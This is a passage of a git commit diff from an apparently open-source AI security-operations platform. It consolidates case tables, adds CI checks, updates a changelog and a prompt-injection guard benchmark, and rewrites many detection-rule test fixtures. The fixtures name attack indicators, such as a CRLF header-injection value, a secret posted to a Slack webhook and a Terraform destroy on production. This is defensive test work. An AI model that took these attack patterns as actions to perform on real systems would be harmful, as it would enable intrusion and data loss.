Open-source AI Security Operations Center: alert fusion, LLM-agent triage, MITRE ATT&CK investigation, and a replayable decision ledger for every agent step. Self-hostable, runs with no API keys, MIT licensed. Ships an MCP server for Claude, Cursor and Continue.
Python agentic-aiai-securityalert-triageblue-teamcybersecuritydetection-engineeringincident-responselanggraphllm-agentsmcpmitre-attackmodel-context-protocolpurple-teamsecurity-operationsself-hostedsiemsoarsocthreat-detectionthreat-intelligence
fix(integrity): close the no-writer defects and consolidate the case tables (#1108)
Beenu Arora98883d922986
diff --git a/.github/workflows/isolation.yml b/.github/workflows/isolation.ymlindex 8115baf77..d93a4900b 100644--- a/.github/workflows/isolation.yml+++ b/.github/workflows/isolation.yml@@ -26,6 +26,7 @@ on:- "scripts/check_route_shadowing.py"- "scripts/check_tenant_query_predicates.py"- "scripts/check_text_bind_casts.py"+ - "scripts/check_one_case_table.py"- "scripts/sync_vendored_tenant_scope.py"# The runtime-DB-role gate reads these, so a change to any of them has# to re-run it. A gate whose inputs are outside its own path filter is@@ -50,6 +51,7 @@ on:- "scripts/check_route_shadowing.py"- "scripts/check_tenant_query_predicates.py"- "scripts/check_text_bind_casts.py"+ - "scripts/check_one_case_table.py"- "scripts/sync_vendored_tenant_scope.py"# The runtime-DB-role gate reads these, so a change to any of them has# to re-run it. A gate whose inputs are outside its own path filter is@@ -206,6 +208,16 @@ jobs:- name: No bind parameter is followed by a `::` castrun: python scripts/check_text_bind_casts.py+ # Two case tables that never synchronised meant every case metric+ # was blind to every case an analyst created — MTTR could stay null+ # while a tenant closed cases all week. Nothing errored: both+ # tables existed and both queries were valid.+ - name: One case table gate self-test+ run: python scripts/check_one_case_table.py --self-test++ - name: One case table, and one status vocabulary+ run: python scripts/check_one_case_table.py+# The second layer, which was decoration until 061_runtime_app_role.sql:# every service connected as a superuser, and a superuser ignores RLS# policies even under FORCE ROW LEVEL SECURITY. This is the static half —diff --git a/.github/workflows/playbook-pause-live.yml b/.github/workflows/playbook-pause-live.ymlindex 719654548..4b3ba55d2 100644--- a/.github/workflows/playbook-pause-live.yml+++ b/.github/workflows/playbook-pause-live.yml@@ -143,6 +143,28 @@ jobs:ISOLATION_LEDGER_DSN: ${{ env.PLAYBOOK_DSN }}run: python -m pytest ../../tests/isolation/test_ledger_live.py -v --tb=short+ # Gap-closure wave 1. Two case tables that never synchronised, so+ # every case metric was blind to every case an analyst created.+ # Unit tests passed throughout, because each tests its query+ # against whichever table the test itself seeded.+ - name: One case table, and the metrics can see it+ working-directory: services/api+ env:+ ISOLATION_CASES_DSN: ${{ env.PLAYBOOK_DSN }}+ DATABASE_URL: ${{ env.PLAYBOOK_DSN }}+ run: python -m pytest ../../tests/isolation/test_one_case_table_live.py -v --tb=short++ # Gap-closure wave 0. Each of these covers a mechanism that was+ # complete, tested and unreachable because the table or column it+ # depended on had no writer — which is precisely what a unit test+ # cannot see, since the code was correct and the data never arrived.+ - name: The wave-0 no-writer defects are closed+ working-directory: services/api+ env:+ ISOLATION_WAVE0_DSN: ${{ env.PLAYBOOK_DSN }}+ DATABASE_URL: ${{ env.PLAYBOOK_DSN }}+ run: python -m pytest ../../tests/isolation/test_wave0_integrity_live.py -v --tb=short+# Parity 3.7. The format's own suite builds bundles from dicts, so# it cannot show that the *route* assembles one from ledger rows —# where `raw_alert` is JSONB, `started_at` is tz-aware, ids arediff --git a/.github/workflows/upgrade-test.yml b/.github/workflows/upgrade-test.ymlindex 51b13f18c..9e3a745fa 100644--- a/.github/workflows/upgrade-test.yml+++ b/.github/workflows/upgrade-test.yml@@ -178,7 +178,7 @@ jobs:run: |set -euo pipefailpsql -v ON_ERROR_STOP=1 -tA "postgresql://aisoc_app:[email protected]:5432/aisoc" \- -c "\copy (select 'alerts', count(*) from alerts union all select 'cases', count(*) from cases union all select 'tenants', count(*) from tenants union all select 'users', count(*) from users order by 1) to '/tmp/after.tsv'"+ -c "\copy (select 'alerts', count(*) from alerts union all select 'cases', count(*) from aisoc_cases union all select 'tenants', count(*) from tenants union all select 'users', count(*) from users order by 1) to '/tmp/after.tsv'"echo "before:"; cat /tmp/before.tsvecho "after:"; cat /tmp/after.tsvdiff /tmp/before.tsv /tmp/after.tsv || {@@ -189,8 +189,18 @@ jobs:# number of fabricated rows would pass the diff above.psql -v ON_ERROR_STOP=1 -tA "postgresql://aisoc_app:[email protected]:5432/aisoc" -c \"select title from alerts where id = '11111111-1111-1111-1111-111111111111'" | grep -q 'pre-upgrade alert'+ # Read from `aisoc_cases`, not `cases`. Migration 083+ # consolidated the two case tables that had never synchronised+ # and renamed the old one to `cases_pre_consolidation`; the row+ # moved, which is what this check is for. Following the data is+ # the point — asserting the old table name would be asserting+ # that the consolidation did not happen.psql -v ON_ERROR_STOP=1 -tA "postgresql://aisoc_app:[email protected]:5432/aisoc" -c \- "select title from cases where id = '22222222-2222-2222-2222-222222222222'" | grep -q 'pre-upgrade case'+ "select title from aisoc_cases where id = '22222222-2222-2222-2222-222222222222'" | grep -q 'pre-upgrade case'+ # And the archive still holds what it held, so a consolidation+ # that lost a row is detectable after the fact.+ psql -v ON_ERROR_STOP=1 -tA "postgresql://aisoc_app:[email protected]:5432/aisoc" -c \+ "select count(*) from cases_pre_consolidation" >/dev/nullecho "OK: the rows that were there before the upgrade are still there, by id."# The runtime role is what every service connects as, and a migrationdiff --git a/.security/allowlist.yml b/.security/allowlist.ymlindex 9e21a31eb..8f8571b61 100644--- a/.security/allowlist.yml+++ b/.security/allowlist.yml@@ -155,8 +155,19 @@ ceilings:# is the real fix and is tracked in issue #1099 rather than done here,# because it# re-baselines every count in this file and belongs in its own change.- total: 104- error: 40+ #+ # 104 -> 103 and 40 -> 39, and this one is a real reduction rather+ # than the ±1 the note above warns about. `main` reported exactly+ # 40/104 on three consecutive runs while this branch reported 39/103,+ # so the delta is the tree, not the scanner. The finding that went is+ # an unused module-level `logger` in the new marketplace-installs+ # service, removed because nothing logged through it.+ #+ # Lowering locks the improvement in, which is what a shrink-only+ # ratchet is for. Raising one to make a scan pass is the thing that+ # is never allowed.+ total: 103+ error: 39measured_with: "1.86.0"checkov:failed: 219diff --git a/CHANGELOG.md b/CHANGELOG.mdindex a28ba760b..6e41920e7 100644--- a/CHANGELOG.md+++ b/CHANGELOG.md@@ -7,6 +7,38 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0## [Unreleased]+### BREAKING++- **The `cases` table is gone. Its rows live in `aisoc_cases`.**++ The product shipped with two case tables that never synchronised. The+ console wrote `aisoc_cases`; `resolution_time` — which owns the single+ shared MTTR definition — read `cases`, as did the metrics endpoints,+ the executive digest, the MSSP portfolio and the GraphQL layer. **Every+ case an analyst created was invisible to every case metric.** A tenant+ could close fifty cases and watch MTTR stay null.++ Migration 083 moves the rows, repoints the child foreign keys and+ renames the old table to `cases_pre_consolidation` so nothing is lost.++ **What to change.** Any SQL of your own against `cases` — a Grafana+ panel, a scheduled export, a report — reads `aisoc_cases` instead. It+ will fail loudly with "relation does not exist" rather than returning+ stale rows, which is the intended behaviour: a query that silently+ returned the pre-consolidation set would be worse than one that stops.++ A compatibility view was tried and withdrawn. Every historical+ migration that does `ALTER TABLE` or `CREATE INDEX` on `cases` fails+ on re-run against a view, and guarding each of them would scatter this+ one decision through the whole migration history.++ **The status vocabulary moved with it.** Readers filtered `"open"` and+ `"in_progress"`; the console's machine is new → triaged →+ investigating → contained → resolved → closed, so those counters were+ structurally zero. `resolved` is also not terminal — only `closed`+ writes `closed_at`. Both now read from `app.services.case_status`.++## [15.1.0] - 2026-10-03No breaking changes. Two routes are added and none removed, so everydiff --git a/apps/docs/docs/benchmark.md b/apps/docs/docs/benchmark.mdindex b730bdf40..0b2dc8a49 100644--- a/apps/docs/docs/benchmark.md+++ b/apps/docs/docs/benchmark.md@@ -299,7 +299,7 @@ detection number describes nothing.<!-- BEGIN:injection-eval -->**Against payloads it has not seen, this guard detects 7.1% (2/28).** That is the number to carry away. It scores 98.1% (53/54) on the corpus it was hardened against, and the 91-point gap is the honest measure of how much of that hardening was pattern-fitting rather than threat coverage. Both are published below, tuned first for continuity with earlier runs; neither means anything read alone.-Corpus: **54 injected incidents** and **17 benign controls**, each paired with a clean twin (71 pairs, 142 incidents). Synthetic, generated deterministically. Digest `d67f4eb82e74fc3e`.+Corpus: **54 injected incidents** and **17 benign controls**, each paired with a clean twin (71 pairs, 142 incidents). Synthetic, generated deterministically. Digest `eb21ba6075c344ac`.| Metric | Measures | Rate | What it is ||---|---|---|---|@@ -321,7 +321,7 @@ Guard detection by surface, which is where the result is actionable:| `ticket_text` | 21/21 || `user_agent` | 3/3 |-Held-out corpus: **28 injected incidents** and **6 benign controls**, authored after the guard was frozen and never consulted while its patterns were written. Synthetic, generated deterministically. Digest `4601dada34b78726`.+Held-out corpus: **28 injected incidents** and **6 benign controls**, authored after the guard was frozen and never consulted while its patterns were written. Synthetic, generated deterministically. Digest `8c4b3ff79a2b8a9c`.| Metric | Measures | Rate | What it is ||---|---|---|---|diff --git a/apps/web/public/marketplace/index.json b/apps/web/public/marketplace/index.jsonindex 1f5a048eb..04d78d188 100644--- a/apps/web/public/marketplace/index.json+++ b/apps/web/public/marketplace/index.json@@ -1,7 +1,7 @@{"$schema": "https://example.com/schemas/marketplace/v1.json","version": "1.0.0",- "generated": "2026-10-02T04:17:51Z",+ "generated": "2026-10-03T15:14:21Z","categories": [{"id": "playbooks",diff --git a/apps/web/src/components/detections/DetectionProposalsView.tsx b/apps/web/src/components/detections/DetectionProposalsView.tsxindex ba8a7030a..693ce22ca 100644--- a/apps/web/src/components/detections/DetectionProposalsView.tsx+++ b/apps/web/src/components/detections/DetectionProposalsView.tsx@@ -55,10 +55,50 @@ export function DetectionProposalsView() {const proposals = data ?? [];+ /**+ * Run the candidate rule against its own fixtures.+ *+ * `/decide` with `approve` answers HTTP 412 unless `eval_result+ * .candidate_rule` exists, and `/evaluate-rule` is the only thing that+ * writes it. The console had no caller for that route, so Approve could+ * not succeed from the UI at all — the button rendered, the request+ * went out, and the operator got a precondition failure naming a gate+ * they had no way to run.+ */+ const evaluateRule = async (p: DetectionProposal) => {+ const positives = (p.positive_fixtures ?? []) as Array<Record<string, unknown>>;+ const negatives = (p.negative_fixtures ?? []) as Array<Record<string, unknown>>;+ if (positives.length === 0) {+ toast.error(+ 'This proposal carries no positive fixtures, so there is nothing to prove it fires on. Add one before approving.',+ );+ return false;+ }+ try {+ await detectionProposalsApi.evaluateRule(p.id, {+ positive_fixtures: positives,+ negative_fixtures: negatives,+ });+ return true;+ } catch (err) {+ console.warn('Candidate-rule evaluation failed', err);+ toast.error(+ 'The candidate rule did not pass its own fixtures: it must fire on every positive and stay silent on every negative.',+ );+ return false;+ }+ };+const decide = async (p: DetectionProposal,decision: 'approve' | 'reject',) => {+ // Approval requires the fixture gate; rejection does not, because+ // refusing a rule needs no proof that it works.+ if (decision === 'approve' && !p.eval_result?.candidate_rule) {+ const passed = await evaluateRule(p);+ if (!passed) return;+ }try {await detectionProposalsApi.decide(p.id, { decision });toast.success(decision === 'approve' ? 'Approved' : 'Rejected');diff --git a/apps/web/src/components/soc-insights/InsightTileCard.tsx b/apps/web/src/components/soc-insights/InsightTileCard.tsxindex 0d777081a..468d448a6 100644--- a/apps/web/src/components/soc-insights/InsightTileCard.tsx+++ b/apps/web/src/components/soc-insights/InsightTileCard.tsx@@ -65,6 +65,16 @@ export function InsightTileCard({ tile, sparkline }: InsightTileCardProps) {// ---------------------------------------------------------------------------function formatValue(tile: InsightTile): string {+ // An averaging tile that averaged nothing publishes 0.0 with a+ // `sample_count` of 0, because making the mean nullable would break+ // every generated client. The pair is the measurement, so the console+ // has to read both: rendering "0.0h" for MTTA on a tenant where nobody+ // acknowledged anything claims instant response.+ //+ // `=== 0` rather than falsiness, and only when the field is present, so+ // an older server that does not send it is unaffected.+ if (tile.sample_count === 0) return 'not measured';+switch (tile.unit) {case 'hours':return `${tile.value.toFixed(1)}h`;diff --git a/apps/web/src/lib/api.ts b/apps/web/src/lib/api.tsindex 822901aba..ce9f53b3c 100644--- a/apps/web/src/lib/api.ts+++ b/apps/web/src/lib/api.ts@@ -2506,6 +2506,13 @@ export interface InsightTile {key: string;label: string;value: number;+ /**+ * Rows the mean was averaged over. `0` means the window measured+ * nothing, so `value` is a placeholder rather than a result — the+ * console renders "not measured" instead. Optional so a server that+ * predates the field is handled without a cast.+ */+ sample_count?: number;unit: 'hours' | 'pct' | 'count' | 'usd' | 'hours_saved';previous_value: number;delta_pct: number | null;@@ -4420,6 +4427,12 @@ export interface DetectionProposalEvalVerdict {max_regression_pp?: number;regressed?: boolean;passed?: boolean;+ /**+ * Written only by `POST /{id}/evaluate-rule`. `/decide` answers HTTP+ * 412 without it, which is why the Approve button could not succeed+ * before the console had a caller for that route.+ */+ candidate_rule?: { passed?: boolean; ran_at?: string };}export interface DetectionProposal {@@ -4439,6 +4452,10 @@ export interface DetectionProposal {tags: string[];status: DetectionProposalStatus;eval_result: DetectionProposalEvalVerdict | Record<string, never>;+ /** What this rule claims to catch, carried so the approval gate can replay it. */+ positive_fixtures?: Array<Record<string, unknown>>;+ /** What it claims to ignore. Empty means the proposal makes no such claim. */+ negative_fixtures?: Array<Record<string, unknown>>;review_comments: Array<{actor_id: string;actor_email?: string;@@ -4513,6 +4530,34 @@ export const detectionProposalsApi = {body: JSON.stringify(body),}),+ /**+ * Run the candidate rule body against its own fixtures.+ *+ * This had no web client at all, and it is the gate `/decide` requires:+ * approving returns HTTP 412 unless `eval_result.candidate_rule` exists,+ * and this route is the only thing that writes that key. So the console+ * rendered an Approve button that could not succeed, and the gate was+ * reachable only by calling the API directly.+ */+ evaluateRule: (+ id: string,+ body: {+ positive_fixtures: Array<Record<string, unknown>>;+ negative_fixtures: Array<Record<string, unknown>>;+ },+ ) =>+ request<DetectionProposal>(`/api/v1/detection-proposals/${id}/evaluate-rule`, {+ method: 'POST',+ body: JSON.stringify(body),+ }),++ /** Replay a candidate rule over real tenant events in the lake. */+ backtestProposal: (id: string, body?: { days?: number; limit?: number }) =>+ request<Record<string, unknown>>(`/api/v1/detection-proposals/${id}/backtest`, {+ method: 'POST',+ body: JSON.stringify(body ?? {}),+ }),+// Triggers a synchronous run of `scripts/run_evals.py` server-side and// returns the JSON report plus runner metadata. The rule editor calls this// from "Propose for review" so the eval gate runs before the proposal isdiff --git a/detections/fixtures/negative/ai-agent-excessive-agency.json b/detections/fixtures/negative/ai-agent-excessive-agency.jsonindex ecc72eb33..e433c36a5 100644--- a/detections/fixtures/negative/ai-agent-excessive-agency.json+++ b/detections/fixtures/negative/ai-agent-excessive-agency.json@@ -1,3 +1,3 @@{- "finding_type": "not-excessive_agency"+ "finding_type": "prompt_injection"}diff --git a/detections/fixtures/negative/ai-sensitive-data-egress.json b/detections/fixtures/negative/ai-sensitive-data-egress.jsonindex 74b89b295..e433c36a5 100644--- a/detections/fixtures/negative/ai-sensitive-data-egress.json+++ b/detections/fixtures/negative/ai-sensitive-data-egress.json@@ -1,3 +1,3 @@{- "finding_type": "not-sensitive_data_egress"+ "finding_type": "prompt_injection"}diff --git a/detections/fixtures/negative/ai-shadow-agent-discovered.json b/detections/fixtures/negative/ai-shadow-agent-discovered.jsonindex 354026e42..e433c36a5 100644--- a/detections/fixtures/negative/ai-shadow-agent-discovered.json+++ b/detections/fixtures/negative/ai-shadow-agent-discovered.json@@ -1,3 +1,3 @@{- "finding_type": "not-shadow_ai"+ "finding_type": "prompt_injection"}diff --git a/detections/fixtures/negative/ai-tool-escalation.json b/detections/fixtures/negative/ai-tool-escalation.jsonindex e18e51dd4..e433c36a5 100644--- a/detections/fixtures/negative/ai-tool-escalation.json+++ b/detections/fixtures/negative/ai-tool-escalation.json@@ -1,3 +1,3 @@{- "finding_type": "not-tool_escalation"+ "finding_type": "prompt_injection"}diff --git a/detections/fixtures/negative/ai-unapproved-model.json b/detections/fixtures/negative/ai-unapproved-model.jsonindex e9d98b1c9..e433c36a5 100644--- a/detections/fixtures/negative/ai-unapproved-model.json+++ b/detections/fixtures/negative/ai-unapproved-model.json@@ -1,3 +1,3 @@{- "finding_type": "not-unapproved_model"+ "finding_type": "prompt_injection"}diff --git a/detections/fixtures/negative/app-account-enum-reset.json b/detections/fixtures/negative/app-account-enum-reset.jsonindex 6972098d5..41ff70fce 100644--- a/detections/fixtures/negative/app-account-enum-reset.json+++ b/detections/fixtures/negative/app-account-enum-reset.json@@ -1,4 +1,4 @@{"count_5min_per_ip": 130.0,- "event_type": "not-password_reset_request"+ "event_type": "http_request"}diff --git a/detections/fixtures/negative/app-box-public-link-mass-create.json b/detections/fixtures/negative/app-box-public-link-mass-create.jsonindex 4792b1d46..64970b9f9 100644--- a/detections/fixtures/negative/app-box-public-link-mass-create.json+++ b/detections/fixtures/negative/app-box-public-link-mass-create.json@@ -1,5 +1,5 @@{"access": "open","count_5min_per_user": 120.0,- "event_type": "not-shared_link.create"+ "event_type": "http_request"}diff --git a/detections/fixtures/negative/app-build-signing-key-rotated.json b/detections/fixtures/negative/app-build-signing-key-rotated.jsonindex 14a2fbd71..62f580e6c 100644--- a/detections/fixtures/negative/app-build-signing-key-rotated.json+++ b/detections/fixtures/negative/app-build-signing-key-rotated.json@@ -1,4 +1,4 @@{- "event_type": "not-key_rotation",+ "event_type": "http_request","in_change_window": false}diff --git a/detections/fixtures/negative/app-confluence-space-export-bulk.json b/detections/fixtures/negative/app-confluence-space-export-bulk.jsonindex 7cc25dcb4..f0ab46ad7 100644--- a/detections/fixtures/negative/app-confluence-space-export-bulk.json+++ b/detections/fixtures/negative/app-confluence-space-export-bulk.json@@ -1,4 +1,4 @@{- "event_type": "not-space.export",+ "event_type": "http_request","size_bytes": 524288100.0}diff --git a/detections/fixtures/negative/app-cookie-tampered-hmac.json b/detections/fixtures/negative/app-cookie-tampered-hmac.jsonindex ba30f82ce..6bf9cc5c1 100644--- a/detections/fixtures/negative/app-cookie-tampered-hmac.json+++ b/detections/fixtures/negative/app-cookie-tampered-hmac.json@@ -1,4 +1,4 @@{- "event_type": "not-session_validate",+ "event_type": "http_request","hmac_valid": false}diff --git a/detections/fixtures/negative/app-cors-wildcard-with-creds.json b/detections/fixtures/negative/app-cors-wildcard-with-creds.jsonindex 8721e839e..896f2e3c2 100644--- a/detections/fixtures/negative/app-cors-wildcard-with-creds.json+++ b/detections/fixtures/negative/app-cors-wildcard-with-creds.json@@ -1,5 +1,5 @@{- "event_type": "not-http_response",+ "event_type": "http_request","header_access_control_allow_credentials": "true","header_access_control_allow_origin": "*"}diff --git a/detections/fixtures/negative/app-crlf-header-injection.json b/detections/fixtures/negative/app-crlf-header-injection.jsonindex 29172c274..08b3ffdff 100644--- a/detections/fixtures/negative/app-crlf-header-injection.json+++ b/detections/fixtures/negative/app-crlf-header-injection.json@@ -1,4 +1,4 @@{"any_header_value": "prefix-%0d%0a-suffix",- "event_type": "not-http_request"+ "event_type": "session_validate"}diff --git a/detections/fixtures/negative/app-csp-disabled.json b/detections/fixtures/negative/app-csp-disabled.jsonindex 878a247f1..8e2de85a5 100644--- a/detections/fixtures/negative/app-csp-disabled.json+++ b/detections/fixtures/negative/app-csp-disabled.json@@ -1,5 +1,5 @@{"csp_header_present": false,"environment": "prod",- "event_type": "not-http_response"+ "event_type": "http_request"}diff --git a/detections/fixtures/negative/app-deploy-key-added-github.json b/detections/fixtures/negative/app-deploy-key-added-github.jsonindex 9d7393e35..817f47cf6 100644--- a/detections/fixtures/negative/app-deploy-key-added-github.json+++ b/detections/fixtures/negative/app-deploy-key-added-github.json@@ -1,3 +1,3 @@{- "event_type": "not-deploy_key.create"+ "event_type": "http_request"}diff --git a/detections/fixtures/negative/app-docker-insecure-registry-flag.json b/detections/fixtures/negative/app-docker-insecure-registry-flag.jsonindex d5593ce6f..a71e7c67f 100644--- a/detections/fixtures/negative/app-docker-insecure-registry-flag.json+++ b/detections/fixtures/negative/app-docker-insecure-registry-flag.json@@ -1,4 +1,4 @@{- "event_type": "not-daemon_config",+ "event_type": "http_request","insecure_registries_count": 100.0}diff --git a/detections/fixtures/negative/app-graphql-mutation-anonymous.json b/detections/fixtures/negative/app-graphql-mutation-anonymous.jsonindex 9782e122a..dfe51aa53 100644--- a/detections/fixtures/negative/app-graphql-mutation-anonymous.json+++ b/detections/fixtures/negative/app-graphql-mutation-anonymous.json@@ -1,5 +1,5 @@{"actor_authenticated": false,- "event_type": "not-graphql_op",+ "event_type": "http_request","op_type": "mutation"}diff --git a/detections/fixtures/negative/app-helm-chart-untrusted-repo.json b/detections/fixtures/negative/app-helm-chart-untrusted-repo.jsonindex 0325dd156..45f5d2016 100644--- a/detections/fixtures/negative/app-helm-chart-untrusted-repo.json+++ b/detections/fixtures/negative/app-helm-chart-untrusted-repo.json@@ -1,4 +1,4 @@{- "event_type": "not-helm_install",+ "event_type": "http_request","repo_url_endswith_in_allow_list": false}diff --git a/detections/fixtures/negative/app-image-critical-cve-pushed.json b/detections/fixtures/negative/app-image-critical-cve-pushed.jsonindex 9cfb06ee9..38f85ba82 100644--- a/detections/fixtures/negative/app-image-critical-cve-pushed.json+++ b/detections/fixtures/negative/app-image-critical-cve-pushed.json@@ -1,5 +1,5 @@{"cvss_max": 109.0,- "event_type": "not-scan_result",+ "event_type": "http_request","registry_environment": "prod"}diff --git a/detections/fixtures/negative/app-notion-workspace-export.json b/detections/fixtures/negative/app-notion-workspace-export.jsonindex cbcd44a78..84d13f310 100644--- a/detections/fixtures/negative/app-notion-workspace-export.json+++ b/detections/fixtures/negative/app-notion-workspace-export.json@@ -1,4 +1,4 @@{"actor_is_admin": false,- "event_type": "not-workspace.export"+ "event_type": "http_request"}diff --git a/detections/fixtures/negative/app-npm-package-publish-new-account.json b/detections/fixtures/negative/app-npm-package-publish-new-account.jsonindex a9d88ffbf..5d95582bc 100644--- a/detections/fixtures/negative/app-npm-package-publish-new-account.json+++ b/detections/fixtures/negative/app-npm-package-publish-new-account.json@@ -1,5 +1,5 @@{- "event_type": "not-package_publish",+ "event_type": "http_request","package_visibility": "public","publisher_account_age_days": -86.0}diff --git a/detections/fixtures/negative/app-onedrive-anonymous-link-sensitive.json b/detections/fixtures/negative/app-onedrive-anonymous-link-sensitive.jsonindex 88d95639f..8693c2a57 100644--- a/detections/fixtures/negative/app-onedrive-anonymous-link-sensitive.json+++ b/detections/fixtures/negative/app-onedrive-anonymous-link-sensitive.json@@ -1,4 +1,4 @@{- "event_type": "not-AnonymousLinkCreated",+ "event_type": "http_request","sensitivity_label": "Confidential"}diff --git a/detections/fixtures/negative/app-pypi-package-publish-new-ip.json b/detections/fixtures/negative/app-pypi-package-publish-new-ip.jsonindex 610e18cf9..0adf0e54b 100644--- a/detections/fixtures/negative/app-pypi-package-publish-new-ip.json+++ b/detections/fixtures/negative/app-pypi-package-publish-new-ip.json@@ -1,4 +1,4 @@{- "event_type": "not-package_publish",+ "event_type": "http_request","publisher_ip_seen_before": false}diff --git a/detections/fixtures/negative/app-salesforce-mass-export.json b/detections/fixtures/negative/app-salesforce-mass-export.jsonindex fd18b321f..cc324124e 100644--- a/detections/fixtures/negative/app-salesforce-mass-export.json+++ b/detections/fixtures/negative/app-salesforce-mass-export.json@@ -1,4 +1,4 @@{- "event_type": "not-DataExport",+ "event_type": "http_request","row_count": 100100.0}diff --git a/detections/fixtures/negative/app-salesforce-sandbox-refresh-anomaly.json b/detections/fixtures/negative/app-salesforce-sandbox-refresh-anomaly.jsonindex b861b1b9b..62f580e6c 100644--- a/detections/fixtures/negative/app-salesforce-sandbox-refresh-anomaly.json+++ b/detections/fixtures/negative/app-salesforce-sandbox-refresh-anomaly.json@@ -1,4 +1,4 @@{- "event_type": "not-SandboxRefresh",+ "event_type": "http_request","in_change_window": false}diff --git a/detections/fixtures/negative/app-secret-published-to-slack.json b/detections/fixtures/negative/app-secret-published-to-slack.jsonindex 7a7893ba6..72a38a666 100644--- a/detections/fixtures/negative/app-secret-published-to-slack.json+++ b/detections/fixtures/negative/app-secret-published-to-slack.json@@ -1,4 +1,4 @@{- "event_type": "not-secret_create",+ "event_type": "http_request","value": "prefix-hooks.slack.com/services/-suffix"}diff --git a/detections/fixtures/negative/app-self-hosted-runner-external.json b/detections/fixtures/negative/app-self-hosted-runner-external.jsonindex 28795e490..ac6811bfa 100644--- a/detections/fixtures/negative/app-self-hosted-runner-external.json+++ b/detections/fixtures/negative/app-self-hosted-runner-external.json@@ -1,4 +1,4 @@{- "event_type": "not-runner_register",+ "event_type": "http_request","ip_is_internal": false}diff --git a/detections/fixtures/negative/app-servicenow-record-export-bulk.json b/detections/fixtures/negative/app-servicenow-record-export-bulk.jsonindex 759f3fe51..1ba1fadee 100644--- a/detections/fixtures/negative/app-servicenow-record-export-bulk.json+++ b/detections/fixtures/negative/app-servicenow-record-export-bulk.json@@ -1,4 +1,4 @@{- "event_type": "not-record_export",+ "event_type": "http_request","row_count": 50100.0}diff --git a/detections/fixtures/negative/app-sharepoint-guest-tenantwide.json b/detections/fixtures/negative/app-sharepoint-guest-tenantwide.jsonindex 08d986f23..a3e27995c 100644--- a/detections/fixtures/negative/app-sharepoint-guest-tenantwide.json+++ b/detections/fixtures/negative/app-sharepoint-guest-tenantwide.json@@ -1,5 +1,5 @@{- "event_type": "not-TenantSettingChanged",+ "event_type": "http_request","setting": "SharingCapability","value": "ExternalUserSharingOnly"}diff --git a/detections/fixtures/negative/app-slack-channel-public-conversion.json b/detections/fixtures/negative/app-slack-channel-public-conversion.jsonindex b85e9b2ff..817f47cf6 100644--- a/detections/fixtures/negative/app-slack-channel-public-conversion.json+++ b/detections/fixtures/negative/app-slack-channel-public-conversion.json@@ -1,3 +1,3 @@{- "event_type": "not-channel_convert_to_public"+ "event_type": "http_request"}diff --git a/detections/fixtures/negative/app-slack-file-shared-external.json b/detections/fixtures/negative/app-slack-file-shared-external.jsonindex e81726193..0692d7b5f 100644--- a/detections/fixtures/negative/app-slack-file-shared-external.json+++ b/detections/fixtures/negative/app-slack-file-shared-external.json@@ -1,4 +1,4 @@{"channel_type": "external",- "event_type": "not-file_shared"+ "event_type": "http_request"}diff --git a/detections/fixtures/negative/app-subdomain-takeover-cname.json b/detections/fixtures/negative/app-subdomain-takeover-cname.jsonindex 36de3c01d..efb704784 100644--- a/detections/fixtures/negative/app-subdomain-takeover-cname.json+++ b/detections/fixtures/negative/app-subdomain-takeover-cname.json@@ -1,5 +1,5 @@{- "event_type": "not-dns_response",+ "event_type": "http_request","qtype": "CNAME","target": "head-.herokudns.com","target_resolves": falsediff --git a/detections/fixtures/negative/app-terraform-destroy-prod.json b/detections/fixtures/negative/app-terraform-destroy-prod.jsonindex 12654e35a..8e8c11a16 100644--- a/detections/fixtures/negative/app-terraform-destroy-prod.json+++ b/detections/fixtures/negative/app-terraform-destroy-prod.json@@ -1,5 +1,5 @@{"command": "destroy",- "event_type": "not-terraform_run",+ "event_type": "http_request","workspace": "prod"}diff --git a/detections/fixtures/negative/app-websocket-origin-bypass.json b/detections/fixtures/negative/app-websocket-origin-bypass.jsonindex b5abe3471..8c01f8cc8 100644--- a/detections/fixtures/negative/app-websocket-origin-bypass.json+++ b/detections/fixtures/negative/app-websocket-origin-bypass.json@@ -1,4 +1,4 @@{- "event_type": "not-ws_upgrade",+ "event_type": "http_request","origin_matches_allowed_list": false}diff --git a/detections/fixtures/negative/app-workday-bank-info-changed.json b/detections/fixtures/negative/app-workday-bank-info-changed.jsonindex 034e67d3b..8969285c7 100644--- a/detections/fixtures/negative/app-workday-bank-info-changed.json+++ b/detections/fixtures/negative/app-workday-bank-info-changed.json@@ -1,4 +1,4 @@{- "event_type": "not-BankAccountChange",+ "event_type": "http_request","linked_ticket": false}diff --git a/detections/fixtures/negative/app-zoom-recording-shared-external.json b/detections/fixtures/negative/app-zoom-recording-shared-external.jsonindex d18fb59e0..6000c5b50 100644--- a/detections/fixtures/negative/app-zoom-recording-shared-external.json+++ b/detections/fixtures/negative/app-zoom-recording-shared-external.json@@ -1,4 +1,4 @@{- "event_type": "not-recording_share",+ "event_type": "http_request","share_type": "external"}diff --git a/detections/fixtures/negative/aws-ami-shared-public.json b/detections/fixtures/negative/aws-ami-shared-public.jsonindex 40abdbe54..f768bc567 100644--- a/detections/fixtures/negative/aws-ami-shared-public.json+++ b/detections/fixtures/negative/aws-ami-shared-public.json@@ -1,4 +1,4 @@{"ami_made_public": true,- "event_name": "not-ModifyImageAttribute"+ "event_name": "AttachUserPolicy"}diff --git a/detections/fixtures/negative/aws-cloudfront-origin-changed.json b/detections/fixtures/negative/aws-cloudfront-origin-changed.jsonindex 666e0a543..05d9319f6 100644--- a/detections/fixtures/negative/aws-cloudfront-origin-changed.json+++ b/detections/fixtures/negative/aws-cloudfront-origin-changed.json@@ -1,5 +1,5 @@{"distribution_age_days": 130.0,- "event_name": "not-UpdateDistribution",+ "event_name": "AttachUserPolicy","origin_changed": true}diff --git a/detections/fixtures/negative/aws-cloudtrail-event-selector-narrowed.json b/detections/fixtures/negative/aws-cloudtrail-event-selector-narrowed.jsonindex b7fdb88ee..a6e898a67 100644--- a/detections/fixtures/negative/aws-cloudtrail-event-selector-narrowed.json+++ b/detections/fixtures/negative/aws-cloudtrail-event-selector-narrowed.json@@ -1,4 +1,4 @@{- "event_name": "not-PutEventSelectors",+ "event_name": "AttachUserPolicy","selector_includes_management_events": false}diff --git a/detections/fixtures/negative/aws-config-recorder-stopped.json b/detections/fixtures/negative/aws-config-recorder-stopped.jsonindex 7302bfdc0..0b9aec727 100644--- a/detections/fixtures/negative/aws-config-recorder-stopped.json+++ b/detections/fixtures/negative/aws-config-recorder-stopped.json@@ -1,3 +1,3 @@{- "event_name": "not-StopConfigurationRecorder"+ "event_name": "AttachUserPolicy"}diff 